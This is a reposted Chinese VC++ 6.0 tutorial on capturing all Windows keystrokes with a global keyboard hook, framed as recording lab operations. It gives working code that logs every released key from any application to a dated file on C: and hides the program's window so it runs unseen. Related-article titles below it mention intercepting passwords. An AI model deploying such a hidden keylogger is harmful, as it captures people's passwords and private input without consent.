利用键盘钩子捕获Windows键盘动作

引言

　　在科研生产中对研制、调试操作的记录是非常有必要而且是有很重要价值的。通过对记录信息的分析，可以在事故发生后准确的分析出事故的起因、操作是否存在失误等许多重要线索。通常需要记录的信息是多种多样的，如环境温度记录、软件运行记录、文件访问记录等等。这里将以键盘信息记录为例来讲述类似的实验信息自动记录的一般实现方法。

　　由于需要记录当前系统下所有应用程序的键盘录入记录，因此必须采取某种特殊的技术来实现本进程（监视程序）对外部进程键盘操作信息的获取。这种技术便是本文将要论述的核心--系统全局钩子。本文下面将对Win32平台下全局钩子的运行机制进行介绍并给出了一个具体的由VC++6.0编写的捕获键盘动作的键盘钩子示例程序。

　　系统钩子和DLL

　　钩子的本质是一段用以处理系统消息的程序，通过系统调用，将其挂入系统。钩子的种类有很多，每种钩子可以截获并处理相应的消息，每当特定的消息发出，在到达目的窗口之前，钩子程序先行截获该消息、得到对此消息的控制权。此时在钩子函数中就可以对截获的消息进行加工处理，甚至可以强制结束消息的传递。

　　在本程序中我们需要捕获在任意窗口上的键盘输入，这就需要采用全局钩子以便拦截整个系统的消息，而全局钩子函数必须以DLL（动态连接库）为载体进行封装，VC6中有三种形式的MFC DLL可供选择，即Regular statically linked to MFC DLL（标准静态链接MFC DLL）、Regular using the shared MFC DLL（标准动态链接MFC DLL）以及Extension MFC DLL（扩展MFC DLL）。在本程序中为方便起见采用了标准静态连接MFC DLL。

　　键盘钩子程序示例

　　本示例程序用到全局钩子函数，程序分两部分：可执行程序KeyKook和动态连接库LaunchDLL。首先创建一个MFC AppWizard(DLL)工程，并选择Regular statically linked to MFC DLL（标准静态链接MFC DLL）选项，以建立MFC扩展动态连接库LaunchDLL.dll。之后，在相应的头文件中添加宏定义和待导出函数的声明：

#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
　public:
　　CLaunchDLLApp();
　　//{{AFX_VIRTUAL(CLaunchDLLApp)
　　//}}AFX_VIRTUAL
　　//{{AFX_MSG(CLaunchDLLApp)
　　// NOTE - the ClassWizard will add and remove member functions here.
　　// DO NOT EDIT what you see in these blocks of generated code !
　　//}}AFX_MSG
　DECLARE_MESSAGE_MAP()
};

　　同时在实现文件中添加全局变量Hook和全局函数LauncherHook（）、SaveLog（）：

HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);

　　最后，完成以上提到的这几个函数的具体编码实现：

CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
　Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)LauncherHook,theApp.m_hInstance,0);
}

　　在此我们实现了Windows的系统钩子的安装，首先要调用SDK中的API函数SetWindowsHookEx（）来安装这个钩子函数，其原型是：

HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);

　　其中，第一个参数指定钩子的类型，常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等，在此我们只关心键盘操作所以设定为WH_KEYBOARD；第二个参数标识钩子函数的入口地址，当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起LauncherHook的动作；第三个参数是钩子函数所在模块的句柄，我们可以很简单的设定其为本应用程序的实例句柄；最后一个参数是钩子相关函数的ID用以指定想让钩子去钩哪个线程，为0时则拦截整个系统的消息，在本程序中钩子需要为全局钩子，故设定为0。

LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
　LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
　if(nCode==HC_ACTION)
　{
　　if(lParam & 0x80000000)
　　{
　　　char c[1];
　　　c[0]=wParam;
　　　SaveLog(c);
　　}
　}
　return Result;
}

　　虽然调用CallNextHookEx()是可选的，但调用此函数的习惯是很值得推荐的；否则的话，其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果，所以我们应尽量调用该函数除非绝对需要阻止其他程序获取通知。

void SaveLog(char* c)
{
　CTime tm=CTime::GetCurrentTime();
　CString name;
　name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
　CFile file;
　if(!file.Open(name,CFile::modeReadWrite))
　{
　　file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
　}
　file.SeekToEnd();
　file.Write(c,1);
　file.Close();
}

　　当有键弹起的时候就通过此函数将刚弹起的键保存到记录文件中从而实现对键盘进行监控记录的目的。编译完成便可得到运行时所需的键盘钩子的动态连接库和进行静态链接时用到的lib库。

　　下面开始编写调用此动态连接库的主程序，并实现最后的集成。另外创建一个单文档应用程序，把所需的动态链接库头文件、lib库复制到工程目录中，将动态链接库复制到Debug目录下。然后链接DLL库：在"Project","Settings…"的"Link"属性页内，在"Object/librarymodules:"中填入"LaunchDLL.lib"。再通过"Project"，"Add To Project","Files…"将LaunchDLL.h添加到工程中来，最后在视类的源文件KeyHook.cpp中加入对其的引用：

#include "LaunchDLL.h"

　　这样我们就可以象使用本工程内的函数一样使用动态连接库LaunchDLL.dll中的所有导出函数了。接下来在视类重载虚函数OnInitialUpdate()，并添加代码完成对键盘钩子的安装：

InstallLaunchEv();

　　到此为止其实已经完成了所有的功能，但由于本程序是作为一个后台监控软件运行，因此还应当采取其他措施以隐藏其程序界面。这只需在应用程序类CkeyHookApp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW)改为m_pMainWnd->ShowWindow(SW_HIDE)即可。

　　小结

　　编译运行程序，运行起来之后并无什么现象，但通过Alt+Ctrl+Del在关闭程序对话框内可以找到我们刚编写完毕的程序"KeyHook",随便在什么程序中通过键盘输入字符，然后打开记录文件，我们会发现：通过键盘钩子，我们刚才输入的字符都被记录到记录文件中了。系统钩子具有相当强大的功能，通过这种技术可以对几乎所有的Windows系统消息进行拦截、监视、处理。这种技术广泛应用于各种自动监控系统中。本文所述程序在Windows 2000 Professional + SP4下由Microsoft Visual C++ 6.0编译调试通过。

转载于:https://www.cnblogs.com/MaxWoods/archive/2013/06/15/3137112.html

利用键盘钩子捕获Windows键盘动作相关推荐

C# 键盘钩子捕获扫码枪
由于扫码枪的输出方式与键盘输出是一样的,由此可以使用键盘钩子来捕获扫码枪数据文章目录引用 HookApi 常数和结构安装与卸载释放不需要的数据捕获引用 using System; usin ...
java键盘钩子_java – JNA键盘钩在Windows
我已经在 Windows中安装了一个JNA代码来安装键盘钩子(使用JNA示例).代码编译和一切,我得到挂钩安装(我成功处理挂钩),我也可以卸载挂钩成功.但是,当我按键盘上的任何键时,回调永远不会被调用 ...
c语言菜单键盘,三、Windows键盘快捷键—处理菜单项
当然,如果POPPAD2程序不使用子窗口编辑控件,那么我们将面临一些问题,这涉及如何完成「Edit」菜单中的「Undo」.「Cut」.「Copy」.「Paste」.「Clear」和「Select Al ...
c语言菜单键盘,三、Windows键盘快捷键—启用菜单项
窗口消息处理程序的工作包括启用和无效化「Edit」菜单中的选项,这项工作在处理WM_INITMENUPOPUP时完成.首先,程序检查是否要显示「Edit」弹出式菜单.因为菜单里「Edit」的位置索引( ...
利用底层键盘钩子拦载任意按键（回调版）
前段时间我曾经写过一篇<利用底层键盘钩子屏蔽任意按键>,并放到了我的blog上.这篇文章的题目中把"屏蔽"改成了"拦截",显然要比以前的版本强一些了 ...
利用底层键盘钩子屏蔽任意按键
很多人都知道,如果想在系统范围内屏蔽键盘上的任意按键需要使用全局键盘钩子,然而像win键这样"倔强"的按键又不是普通的键盘钩子就能搞定的.这里我提供一种利用底层键盘钩子屏蔽任意按键 ...
要如何禁止键盘钩子?
要如何禁止键盘钩子? Delphi / Windows SDK/API http://www.delphi2007.net/DelphiAPI/html/delphi_2006112612072216 ...
钩子原理及实例：实现键盘钩子截获密码
钩子原理及实例:利用鼠标键盘钩子截获密码钩子原理钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能.Windows系统是建立在事件驱动的机制上的,也就是整个系统都是通过消息 ...
[C++]键盘钩子程序
实现适时监视键盘,并将按键信息保存在TXT文件中的程序 Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的.而钩子是Windows系统中非常重要的系统接口,用它 ...

利用键盘钩子捕获Windows键盘动作

利用键盘钩子捕获Windows键盘动作相关推荐

最新文章

热门文章